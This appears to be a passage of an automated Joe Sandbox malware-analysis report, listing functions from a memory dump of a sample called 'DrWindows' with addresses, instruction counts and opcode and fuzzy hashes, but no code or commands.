Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4f2b084faef48d893cec2519f241ff843f37aefc35a02b9a69ce986de1685e5
Instruction ID: 880ef0ef9f223a6a971d304a28f0df527bb6764bf5b40366dca3bbefc3e3bf14
Opcode Fuzzy Hash: b4f2b084faef48d893cec2519f241ff843f37aefc35a02b9a69ce986de1685e5
Instruction Fuzzy Hash: 6B22B6326087118BC725DF18D9806ABB3E2FFC4719F19893ED9C697386D734A891CB46

Function 0241348A Relevance: .6, Instructions: 612COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f94a17a8588b0c296a85907549dc9fbae5a0954f6bdb58cfe366c095c9ec4ea
Instruction ID: dd6b6515c74c130fe3291eb9733ad8012f82716b801773dfc46e67b2db92801e
Opcode Fuzzy Hash: 6f94a17a8588b0c296a85907549dc9fbae5a0954f6bdb58cfe366c095c9ec4ea
Instruction Fuzzy Hash: 8532B775A04B408FD714EF38C595366BFE2AF89310F058A7ED4EB8B785E635A449CB02

Function 0240522F Relevance: .6, Instructions: 600COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68019969ff5d4c7b031af40bff766dd307ec9a2b607195fd915788becbc0be47
Instruction ID: d73c9881e7919a17a320d7cac00f6fdb8d787a6d5499c3783e0663598d096764
Opcode Fuzzy Hash: 68019969ff5d4c7b031af40bff766dd307ec9a2b607195fd915788becbc0be47
Instruction Fuzzy Hash: 0632F170915B108FC328CF29C6D066ABBF2FF45610B944A2ED6A78BB90D776B485CF14

Function 0240727F Relevance: .4, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72ef3389d17b5c2d7356fca882b754ee43f181ee348d4ceda7fd19fbe0bcaa8a
Instruction ID: 96ecc07ad0d1a6b3eaf805eb9b4f0bd71dd1ce7dfa4a411f6aa98dd11676f42c
Opcode Fuzzy Hash: 72ef3389d17b5c2d7356fca882b754ee43f181ee348d4ceda7fd19fbe0bcaa8a
Instruction Fuzzy Hash: 17F1BE356087418FD724CF29C89076BFBE2AFD8304F08982EE8D587791E675E845CB96

Function 0244BDB3 Relevance: .4, Instructions: 429COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f25aa825a39bec38ad6b6d36dd1a7b58a115f37f7b46c95bc86c5f4f7415b87
Instruction ID: 99a33b050949f34b1e2eacfe46e1efe6c7581a2023ab45295fc8f56449a5fd89
Opcode Fuzzy Hash: 3f25aa825a39bec38ad6b6d36dd1a7b58a115f37f7b46c95bc86c5f4f7415b87
Instruction Fuzzy Hash: BBD18430719B498BEB29EF68D8896AEB7E5FB58705F04422FD85BC3240DF30E5558B81

Function 0244D077 Relevance: .4, Instructions: 409COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e74d2aa687a79bc353c1e30e2761018af6d861ea5a8c8f1c92844b65f1d9ba9
Instruction ID: f7da0c2ae7077bda74cae67caf5e348a74a3ba1fa2bc8fd5ca0c5258a82a52ba
Opcode Fuzzy Hash: 3e74d2aa687a79bc353c1e30e2761018af6d861ea5a8c8f1c92844b65f1d9ba9
Instruction Fuzzy Hash: B9D14031918B488FDB59EF28D8896EA77E1FF98300F04466EE85AC7255DF30E545CB82

Function 0242A05F Relevance: .4, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85cd27683a5423bf7408879b44f5ba9fa0b896ba4fa5d21c649f249a3b0648c9
Instruction ID: 15878ed18e8fccf459c5c4667b1e1d15eebb284b81c0d69898553cf91b2bb612
Opcode Fuzzy Hash: 85cd27683a5423bf7408879b44f5ba9fa0b896ba4fa5d21c649f249a3b0648c9
Instruction Fuzzy Hash: 2DC1FEB010C3218AD314DF26C86172BB7F2EF82324F14891EE8D59B795E778D54ACB56

Function 0244CCA7 Relevance: .4, Instructions: 380COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e45004cfa00b96cc07e21d80348e0ecc464919f4c4bc6f170ace2c42d415ba2b
Instruction ID: 14b5bf9e5f4b74ed89a4aedb4df940a21d60ebdbb4950cc39a1b217f9637d018
Opcode Fuzzy Hash: e45004cfa00b96cc07e21d80348e0ecc464919f4c4bc6f170ace2c42d415ba2b
Instruction Fuzzy Hash: 4FB18330715D099BEB59EB29D8C5BBAB3D2FB88304F18466FC44AC7245DF24E546CB81

Function 02400000 Relevance: .4, Instructions: 365COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6835e59f20b050728fc677087ba89a8c4494510e5003959efffeec8b0b3550c8
Instruction ID: c5a31f7de1a554533bab730b157b3129183b0471ce8212376c8b4add1757ac74
Opcode Fuzzy Hash: 6835e59f20b050728fc677087ba89a8c4494510e5003959efffeec8b0b3550c8
Instruction Fuzzy Hash: A0E18B72D043258FDB58CFB5EE9569A7BB2FB84310F42813EC446BB266CB3419458F89

Function 0243FC2F Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4ea89917a53ef0c36e0de58efb7947e9dfe162b61bef1fc978ae8657e1db783
Instruction ID: 68c11e79782abe593a8f88751eb148be6475c018be2ab01ad90e3a301849edb0
Opcode Fuzzy Hash: a4ea89917a53ef0c36e0de58efb7947e9dfe162b61bef1fc978ae8657e1db783
Instruction Fuzzy Hash: 9CB12835B083558FC7169F25C89063BB7E2AF99314F1AC63EE89A87762DB349809C741

Function 02407B6F Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc1db6a217cb8f63b2a4c53b2a12e6814aef47cb0c90e13827f5475dc9e5d2a9
Instruction ID: 89a37f781bc21e898a3c39e978e08259c95689ca60f1b789fcfb322c85b509d0
Opcode Fuzzy Hash: dc1db6a217cb8f63b2a4c53b2a12e6814aef47cb0c90e13827f5475dc9e5d2a9
Instruction Fuzzy Hash: 45C13EB29587418FC370CF68CC96BABB7E1AF85318F08492DD1DAC6342D778A195CB46

Function 0244DF4F Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2e903f92329977da97ab707699d6460e74b4fcfb6d1b984767a57618237eb95
Instruction ID: f4da11e33a77b39994e708ab37c081c5d467243acf0f50e0b9cc81d381205773
Opcode Fuzzy Hash: e2e903f92329977da97ab707699d6460e74b4fcfb6d1b984767a57618237eb95
Instruction Fuzzy Hash: 23A1FA71608A4C8FDB55EF68C889BEA77E5FB58315F10466EE84AC7160EF30E644CB81

Function 0243F91F Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bf99765e84db7fc6cac52f8bc525d43ad2b3220b07a2accb47b7a8c5eac656e
Instruction ID: 9302533877fbda4a2a84c57d00a84f03990b301bba00f5a78c47041b1c2fbcb2
Opcode Fuzzy Hash: 4bf99765e84db7fc6cac52f8bc525d43ad2b3220b07a2accb47b7a8c5eac656e
Instruction Fuzzy Hash: 4191B175A043019FC71ADF28C8A092BB7E6EF9D710F16856EE9858B761D730DC15CB82

Function 0243F65F Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4036bac4e7d7a7706bb077bbc25ac84686b741de56fff482065f5f2114f2c7e3
Instruction ID: 4a611b4b56f0251aafbd84a80679ac0b5d044113e7673b05f85aa1405852b025
Opcode Fuzzy Hash: 4036bac4e7d7a7706bb077bbc25ac84686b741de56fff482065f5f2114f2c7e3
Instruction Fuzzy Hash: 95714A31A043019BC719AF29C850A2FB7A7EFD9750F2BC53EE8858B764EB3098558781

Function 0242A8CC Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 485f9e8018368faea3edae90e71b0f5b01441832ec9af48811220032a096e4bd
Instruction ID: 691edaee0f8a3cfdf856ee566d5d58a25be34f2aae901fc0fb3bd27f57dde1cd
Opcode Fuzzy Hash: 485f9e8018368faea3edae90e71b0f5b01441832ec9af48811220032a096e4bd
Instruction Fuzzy Hash: 2D914CB29083658FC714CF6AC45126FFB939FC1204F89896FE8D58B381E634D949CB42

Function 0241A5A0 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47526544f758fb293131853d1f73dd668b28d643dbde83cb0cc6e9b5e0240e68
Instruction ID: 89009e806a786156998cf8c776eca37750079134c9fac87b5f252e65b9662a3e
Opcode Fuzzy Hash: 47526544f758fb293131853d1f73dd668b28d643dbde83cb0cc6e9b5e0240e68
Instruction Fuzzy Hash: 9191F2756017218FC725CF29C890B62B7F2FF95714B1AC19EC8968B7A5EB34E842CB50

Function 0240E3C3 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7c9feb5511229040c6975bef0832900e3bf4da7ad8fb78105c9272307aa1f26
Instruction ID: 3ae8e2f754aae2f50bfcb0afcfcd53cca56e7718ffeb0a1d46138b707ee58dad
Opcode Fuzzy Hash: e7c9feb5511229040c6975bef0832900e3bf4da7ad8fb78105c9272307aa1f26
Instruction Fuzzy Hash: 8E518A756443218BCB14CF54C8D01AB3B72FF8A32031996ACCC816F3A9E7359852CBA5

Function 0243B4FF Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec572743892ebb95a71a13faeb1d93a1e173b57b9a81d7cc40f96859343a6053
Instruction ID: 36e852d29013265c1bf9de9fad42563e2718654cbcfd1d54c3b27dacf46bdffe
Opcode Fuzzy Hash: ec572743892ebb95a71a13faeb1d93a1e173b57b9a81d7cc40f96859343a6053
Instruction Fuzzy Hash: 36614B76A083045FD719DF28D850B3BB793EBD8708F29846ED5869B351EB319811CB86

Function 02417EDD Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd9015d7fd6cf3d6b501c9ef0e7ac392bd0603b248820a94f1a2ecca4bd2840e
Instruction ID: aeaa03d0297b2e9417e470e6b5b89154750a20a01bdb8bd120dd2dd58bfc722e
Opcode Fuzzy Hash: dd9015d7fd6cf3d6b501c9ef0e7ac392bd0603b248820a94f1a2ecca4bd2840e
Instruction Fuzzy Hash: AF518D346457048FE7298F59C891B33BBA3FB95310F1A96AEE9864B762C375AC41CF10

Function 0241F24F Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7078c05123f608065ae0c8b19dd9d3873ceae3ccd1b74ae0e505b84a43bf3eb5
Instruction ID: 3b2688d9949cb72df28472da5c305f407f45f756b93b016ebacd2dc80f46ce69
Opcode Fuzzy Hash: 7078c05123f608065ae0c8b19dd9d3873ceae3ccd1b74ae0e505b84a43bf3eb5
Instruction Fuzzy Hash: BA711737659B9147D328897C4C122AA7A930BD7134F1E877FE9B5877E1D5A54C0B8380

Function 0241DD7B Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0d1e0e2d45bcc2665f000856f2a86c24fdb570bcaadc0396f36cd9bed54cc91
Instruction ID: fba6ab29482ec18e800c8f157cd9c63266228b8f8519a3e9c2f40ab1867ec3f6
Opcode Fuzzy Hash: e0d1e0e2d45bcc2665f000856f2a86c24fdb570bcaadc0396f36cd9bed54cc91
Instruction Fuzzy Hash: 1B61BBB664C3409FD704DF65889156FFBE2EFD2310F48986DF0D94B352C636860A9B46

Function 02426FDF Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ac7c1cbe8f16d2f29dd1a641fa646d5e4268a68a37fddec97e64e767c4ea2bc
Instruction ID: fdc408f69b99641aa9e63eaa5716139bad8456216cd46f25dab3360db5e7c136
Opcode Fuzzy Hash: 6ac7c1cbe8f16d2f29dd1a641fa646d5e4268a68a37fddec97e64e767c4ea2bc
Instruction Fuzzy Hash: AA61E1B01083108BD714EF25D89166BB7F1EF82364F448A1EE4C68B3A1E7388549CF57

Function 0241E810 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 026d61da97460c5678d3cf2eab8ede98867bd8c09f586efcfe82f47dde71af88
Instruction ID: 0c61d347a05164b396a55fd276972009951330b8c6203de204f0db2a64487296
Opcode Fuzzy Hash: 026d61da97460c5678d3cf2eab8ede98867bd8c09f586efcfe82f47dde71af88
Instruction Fuzzy Hash: FA411FB8A2835287CB209F28C81177BF7F1AF92314F59895EE8C59B380E734D555C366

Function 02437D9F Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee3221d44487f1b55dcfb0cb7b306b7a5088c2c108d24d47baceea343636d859
Instruction ID: c1f1ee27d5b2a6f42e1408bd0e8c311e861cc74b71a627c03b906042bde6311d
Opcode Fuzzy Hash: ee3221d44487f1b55dcfb0cb7b306b7a5088c2c108d24d47baceea343636d859
Instruction Fuzzy Hash: A2513BB15087548FE314DF29D89475BFBE1BB88314F144A2EE5EA87390E379D6088F92

Function 0241C76F Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a46d2b8bf1cae4ec2dafeae2869696359aca197a34deded2bf42c97d4dc29283
Instruction ID: 92f965494c35c39e82fe318602a87e0b82660830cd0da3e9c72141db4373ac0c
Opcode Fuzzy Hash: a46d2b8bf1cae4ec2dafeae2869696359aca197a34deded2bf42c97d4dc29283
Instruction Fuzzy Hash: BD512537799A8147D72C8A3CCCA237A7A934FD3134B2D876FE5B6873E4D66548428302

Function 0241F58F Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b45e0e103b9fa75d561094886c53ba12757ccee8c771bf6786106a20a4d2ac4a
Instruction ID: d16d44b77f0720ea0ea59942bf522f16912b1e5d1092d98497e52567d1a00d66
Opcode Fuzzy Hash: b45e0e103b9fa75d561094886c53ba12757ccee8c771bf6786106a20a4d2ac4a
Instruction Fuzzy Hash: 06510437759A814BD3288A3C5C213A67A934BD3230B2E87AFE5B2877F5D565484B8350

Function 024268E5 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f53d87dddb27baad3780af100ca5796e9626c35e2db2be77b1f4fd540b499679
Instruction ID: 2ac2c615888666a5d6c23134a8f7e33a8fc82c68b32f1ad30781912b490df433
Opcode Fuzzy Hash: f53d87dddb27baad3780af100ca5796e9626c35e2db2be77b1f4fd540b499679
Instruction Fuzzy Hash: 414110366157238BC3219F59C4E01ABB3A1FF89784B67892DC5825B370EB306DAAD345

Function 02418919 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98ff0c47ef9118af0e822d156388ef614831e8d215f5502b822c3951c86cb620
Instruction ID: 8e28a6f2baef3e13fe9f21529558cacb3287f8f26737e74c80368b99d4ff5fea
Opcode Fuzzy Hash: 98ff0c47ef9118af0e822d156388ef614831e8d215f5502b822c3951c86cb620
Instruction Fuzzy Hash: 9851B2B1604B818FD734CF29C4D4B67B7E2AF59204B148A2ED49A87796E334F445CB51

Function 02419831 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13d358f3eaa8b8d61d31d1e7ff6efa594c17284dfba49f9243f4eebe01431c40
Instruction ID: 42f84ee671a0caed48339b8efe90da7593cac12d1c11d0497d44fd36c0874c71
Opcode Fuzzy Hash: 13d358f3eaa8b8d61d31d1e7ff6efa594c17284dfba49f9243f4eebe01431c40
Instruction Fuzzy Hash: 8841F2B2A107018BD7209F29C8B137373A2EF96328F18426FD5E64B7A1E779A445C710

Function 024278EC Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebd4713a8c839dd888d4ddf57068d90824b288b6a5d2fb2c475a76c4d08f8f2d
Instruction ID: 41b6d43940b8cdb9ea9515296edce3f8c8c3e749d7d6e5d39d070aa768a7f74e
Opcode Fuzzy Hash: ebd4713a8c839dd888d4ddf57068d90824b288b6a5d2fb2c475a76c4d08f8f2d
Instruction Fuzzy Hash: 6A416D73C0937887D230AA66886017BF6D6EB8A250F85856FE9C6A7341FB349D45C782

Function 02417B38 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cca96217f1c09c62afedc8334bd896d06d3cc8052ca200f094b4202e7095af16
Instruction ID: c2056a794cf14023394713f6e904ed71a2502dbfd380db8f610c475b08e4ff0f
Opcode Fuzzy Hash: cca96217f1c09c62afedc8334bd896d06d3cc8052ca200f094b4202e7095af16
Instruction Fuzzy Hash: BA31F235245300DFEB298F65C891B37B7A3EB95304F0898BEDA964B762C3719C41DB14

Function 0240A2FF Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 367c31638055309794f69e9f1362a6cfb166745821b7f7e74973013f3529307c
Instruction ID: b7356e75f827e570554493219b49bfef2c20458213f0d87b84cd977c50e537fb
Opcode Fuzzy Hash: 367c31638055309794f69e9f1362a6cfb166745821b7f7e74973013f3529307c
Instruction Fuzzy Hash: 8B31B633A2152147E350CA29CC0879532D3ABD9338F3EC6B9D925DF6D6D93799438680

Function 0242AC3F Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54105d90293e4b8a7fe8cebbefda0a172f6c9cbfe66afa0c85e262d0473a1c3c
Instruction ID: ac409d672ab1941af466609b0fb198cae397e32453cde52d0ee521036a453c5c
Opcode Fuzzy Hash: 54105d90293e4b8a7fe8cebbefda0a172f6c9cbfe66afa0c85e262d0473a1c3c
Instruction Fuzzy Hash: B44127B2B193504BD71CCF258CA275FFBA2EBC5308F16883DE5869B284CB7495078B46

Function 0243848F Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91220374a97f5aff33aa7e71888e41c88829f78e25f822e198eb2ef461918297
Instruction ID: c9c7f5ac191e55cd8495447fdd6f884db81efe6b793b2601c2ccece9c159efb0
Opcode Fuzzy Hash: 91220374a97f5aff33aa7e71888e41c88829f78e25f822e198eb2ef461918297
Instruction Fuzzy Hash: FC310477A083284B83249E998C82167F7E9EBCD624F1AD52FE998E7311E670DD0187C5

Function 024010AD Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b09967ac5482500bc099009dc95111bd7cc7545dcabcf40ba633cd1a509d9f95
Instruction ID: 30c9284dd2150c9bcb536a4a5b2405fa97e15238b102465bcecb7a3d5f50f0d9
Opcode Fuzzy Hash: b09967ac5482500bc099009dc95111bd7cc7545dcabcf40ba633cd1a509d9f95
Instruction Fuzzy Hash: C6515674E01109DFCB09CF98C590AAEB7B2FF48314F248199D819AB355D731AE91DF94

Function 02418C28 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e836cc271ce779877c3a6c6f27e537afcfd5301f359ac870f6356ddf680a4d9
Instruction ID: 21b2536879f82b812dae0891f737b8ed2fcc0b898574c717778139c3a279ac6c
Opcode Fuzzy Hash: 5e836cc271ce779877c3a6c6f27e537afcfd5301f359ac870f6356ddf680a4d9
Instruction Fuzzy Hash: 1121293071A3418FF7298F34C891B777BA2EB57311F1840AED5825B3C6E738A8458B54

Function 02418833 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b59901c110600bd7fa4f3637166d7fcee472f0bede9063fe7f7c4fc7a2285372
Instruction ID: afc37a5eafe17a5ab58351edf72b5911a5181cae250f3af77191b6a2b72d99ad
Opcode Fuzzy Hash: b59901c110600bd7fa4f3637166d7fcee472f0bede9063fe7f7c4fc7a2285372
Instruction Fuzzy Hash: FC115730B146058BF7258F64C895B3377A3E796300F28813EE9828B389C7759C02D791

Function 02416C55 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

